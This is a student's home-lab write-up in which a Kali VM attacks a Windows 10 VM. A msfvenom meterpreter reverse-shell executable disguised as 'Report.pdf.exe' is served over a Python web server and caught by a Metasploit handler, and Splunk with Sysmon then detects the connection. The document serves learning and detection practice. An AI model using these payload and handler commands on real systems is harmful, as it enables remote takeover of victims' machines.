Home Lab Project

Purpose of a home lab

As a student who is aspiring to break into the cybersecurity field, I have learnt that hands-on experience is essential to be kept in the loop as the field is everchanging. A home lab allows for me to test out real-world problems, experiment and learn to understand how attacks occur in a safe, sandboxed environment. For this project, I will set up two virtual machines (one running Kali Linux and the other running Windows 10) and have one act as an attacker and the other as a target. I will try to gain access to the Windows virtual machine’s shell via a reverse shell attack. A reverse shell attack initiates a shell session and allows for the attacker to redirect the input and outputs of the shell so that it can be used by the attacker. The delivery method of this attack that I will use is an .exe file disguised as a .pdf.

Steps followed

1. First, I chose a hosted hypervisor. I chose Virtualbox because I was familiar with it and had previously used it.
2. Next, I downloaded Kali Linux and the Windows 10 ISO from their respective websites and set them up on Virtualbox.
3. I downloaded Sysmon and Splunk on the Windows 10 machine at this point as it still has a connection to the internet.
4. Both virtual machines were then both configured to be part of their own internal network, meaning they could communicate with each other but did not have an active connection to the internet. Static IPs were set for each one.
5. Creating infected file on Kali Linux VM using the terminal :
   1. “nmap -A {Windows 10 VM IP} -Pn “ – scans for any open ports on the target machine
   2. Returned that port 3389 was exposed
   3. “msfvenom -p windows/x64/meterpreter\_reverse\_tcp lhost={Kali VM IP} lport=4444 -f exe -o Report.pdf.exe” – this command specifies the payload of the attack (reverse tcp), specifies the host of the attack, the port and the file and it’s format.

A screenshot of a computer

AI-generated content may be incorrect.

* 1. “msfconsole” -> “use exploit/multi/handler” -> “set payload windows/x64/meterpreter/reverse\_tcp “ – sets the payload option
  2. “exploit” – starts the handler
  3. “python3 -m http.server 999” – allows for the Windows machine in the same network to access the infected file

A screenshot of a phone

AI-generated content may be incorrect.

A close-up of a computer screen

AI-generated content may be incorrect.

* 1. Disable Windows Defender and open the file on the Windows VM
  2. Looking at the Kali machine should show that you are connected to the target and should allow you to execute commands on it

A screenshot of a computer

AI-generated content may be incorrect.

1. Access Splunk and create an index with the name ‘endpoint’

A screenshot of a computer

AI-generated content may be incorrect.

1. Go to the search and reporting app on Splunk and type ‘index=”endpoint” {Kali IP Address}’

A black text on a white background

AI-generated content may be incorrect.

1. Looking at the fields, we can see that the Kali Linux machine is accessing a port, which would be something of interest to investigate.

A screenshot of a computer

AI-generated content may be incorrect.

1. Looking further into the event IDs, we can see that the issue comes from the Report.pdf.exe.



This was a simple demonstration of how exploits can be used to target exposed ports, how malware can take control of a victim’s computer and how tools like Splunk can be used to detect unusual events which can allow for the user to take action and solve the problem